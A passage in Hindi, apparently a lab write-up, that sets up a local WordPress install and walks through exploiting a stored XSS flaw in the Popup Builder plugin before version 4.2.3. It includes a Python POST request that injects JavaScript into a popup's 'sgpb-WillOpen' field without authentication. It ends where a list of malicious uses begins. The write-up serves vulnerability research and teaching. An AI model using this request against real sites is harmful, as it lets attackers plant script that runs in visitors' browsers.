
यह भेद्यता एक वर्डप्रेस पॉपअप प्लगइन में XSS दोष प्रदर्शित करती है, जिससे हमलावर संग्रहीत XSS के माध्यम से दुर्भावनापूर्ण जावास्क्रिप्ट इंजेक्ट कर सकते हैं।
यह भेद्यता एक हमलावर को वर्डप्रेस पॉपअप बिल्डर प्लगइन में क्रॉस-साइट स्क्रिप्टिंग (XSS) दोष का शोषण करने की अनुमति देती है। प्लगइन सामान्य विज़िटरों को मौजूदा पॉपअप को संशोधित करने से रोकने में विफल रहता है और सर्वर को एक विशेष रूप से तैयार अनुरोध भेजकर, हमलावर पॉपअप में दुर्भावनापूर्ण स्क्रिप्ट इंजेक्ट कर सकता है, जो उपयोगकर्ताओं द्वारा पॉपअप के साथ इंटरैक्ट करने पर निष्पादित होगी।
इस POC के लिए, भेद्यता पॉपअप के खुलने के व्यवहार में हेरफेर करके ट्रिगर होगी, जहां एक सरल अलर्ट स्क्रिप्ट, पॉपअप खुलने पर चलाने के लिए इंजेक्ट की जाएगी। इस प्रकार का हमला कई समस्याओं को जन्म दे सकता है, जिसमें संवेदनशील जानकारी तक अनधिकृत पहुंच और प्रभावित वेबसाइट का आगे शोषण शामिल है, जो संभावित रूप से उपयोगकर्ता डेटा या पूरी साइट से समझौता कर सकता है।
इस POC के लिए हम एक विंडोज 10 मशीन का उपयोग कर सकते हैं और XAMPP डाउनलोड कर सकते हैं: https://www.apachefriends.org/download.html
इंस्टॉलेशन के बाद, Apache और MySQL मॉड्यूल को चालू करना सुनिश्चित करें:

वर्डप्रेस, अधिकांश सामग्री प्रबंधन प्रणालियों की तरह, अपने सभी आवश्यक डेटा को संग्रहीत करने के लिए एक डेटाबेस की आवश्यकता होती है, हम जो SQL डेटाबेस बनाएंगे, वह इस सभी जानकारी के लिए केंद्रीय भंडारण के रूप में कार्य करता है।
पॉपअप बिल्डर प्लगइन का कमजोर संस्करण उनकी मुख्य साइट से डाउनलोड किया जा सकता है: https://wordpress.org/plugins/popup-builder/advanced/
4.2.3 में फिक्स से पहले का एक पुराना संस्करण चुनें:
इसके बाद, अपने एडमिन वर्डप्रेस पेज पर जाएं - http://localhost/wordpress/wp-login.php
Plugins -> Add New Plugin -> Upload Plugin -> डाउनलोड की गई .ZIP फ़ाइल चुनें और इंस्टॉल करें
वर्डप्रेस-एडमिन पेज पर, हम Pages -> Add New Page -> Choose a Pattern पर जाकर एक सरल फ्रंट पेज बना सकते हैं।
पॉपअप के लिए, Popup Builder -> Add New पर जाएं -> प्रकार चुनें और अनुकूलित करें।
इस POC के लिए, मैंने एक सब्सक्रिप्शन पॉपअप चुना, क्योंकि यह आजकल वेबसाइटों पर सबसे आम पॉपअप में से एक है।

डिस्प्ले रूल्स टैब में, आप पॉपअप को अपने फ्रंट पेज से जोड़ सकते हैं:

अब जब हम http://localhost/wordpress/ का उपयोग करके अपने फ्रंट पेज में प्रवेश करते हैं, हम अपने पॉपअप को ट्रिगर होते देख सकते हैं।
शोषण को निष्पादित करने के लिए, हमें पहले पॉपअप आईडी की पहचान करनी होगी। यह साइट पर नेविगेट करके, पॉपअप को ट्रिगर करके और डेवलपर टूल्स में नेटवर्क टैब खोलकर किया जा सकता है। admin-ajax.php अनुरोध देखें, जो एक कोर वर्डप्रेस घटक है जो AJAX अनुरोधों को संभालने के लिए उपयोग किया जाता है। पॉपअप बिल्डर वर्डप्रेस में पॉपअप को सहेजने, अपडेट करने, पूर्वावलोकन करने और नियंत्रित करने जैसे कार्यों को प्रबंधित करने के लिए इसका उपयोग करता है।
पेलोड टैब के अंतर्गत, हम पॉपअप आईडी पा सकते हैं:

पॉपअप आईडी खोजने के बाद, हम शोषण को ट्रिगर करने के लिए निम्नलिखित स्क्रिप्ट का उपयोग कर सकते हैं:
import requests
# कमजोर साइट के लिए लक्ष्य URL परिभाषित करें
url = "http://localhost/wordpress/"
headers = {
"Content-Type": "application/x-www-form-urlencoded"
}
data = {
"sgpb-is-preview": "1",
"post_ID": "22", #हमें मिली पॉपअप आईडी का उपयोग करें
"sgpb-type": "html",
"sgpb-WillOpen": "alert('Stored XSS Executed Successfully');" #कस्टम JS कोड यहां जाता है
}
# POST अनुरोध भेजें और परिणाम आउटपुट करें
response = requests.post(url, data=data)
print(response.text)
चूंकि हम पॉपअप को संपादित कर सकते हैं, हम अपने कस्टम JS के ट्रिगर समय को भी नियंत्रित कर सकते हैं। यदि हम वर्डप्रेस-एडमिन पेज पर जाते हैं, तो पॉपअप सेटिंग में हम एक "Custom JS or CSS" विकल्प देख सकते हैं, यह कस्टम कोड के समय को नियंत्रित करेगा:

हम इसे अपनी इच्छित उपयोग के अनुसार अपनी स्क्रिप्ट में शामिल कर सकते हैं।
स्क्रिप्ट को ट्रिगर करने के बाद, हम वर्डप्रेस-एडमिन पेज में देख सकते हैं कि हमारे पॉपअप के कस्टम JS अनुभाग में एक नई लाइन जोड़ी गई है:

अब जब एक सामान्य उपयोगकर्ता के रूप में साइट में प्रवेश करते हैं, तो हम निम्नलिखित संदेश को प्रॉम्प्ट होते देख सकते हैं:

हम यह भी देख सकते हैं कि हमारा संदेश SQL डेटाबेस (डिफ़ॉल्ट रूप से wp_postmeta तालिका के अंतर्गत) में सहेजा गया था, जो संग्रहीत XSS होने की पुष्टि करता है:

पॉपअप बिल्डर प्लगइन में यह संग्रहीत XSS भेद्यता हमलावर को दुर्भावनापूर्ण JavaScript एम्बेड करने की अनुमति देती है जो जब भी कोई उपयोगकर्ता संक्रमित पॉपअप के साथ इंटरैक्ट करता है, निष्पादित हो सकता है। दुर्भावनापूर्ण तरीके से इसका शोषण करने के निम्नलिखित तरीके हैं: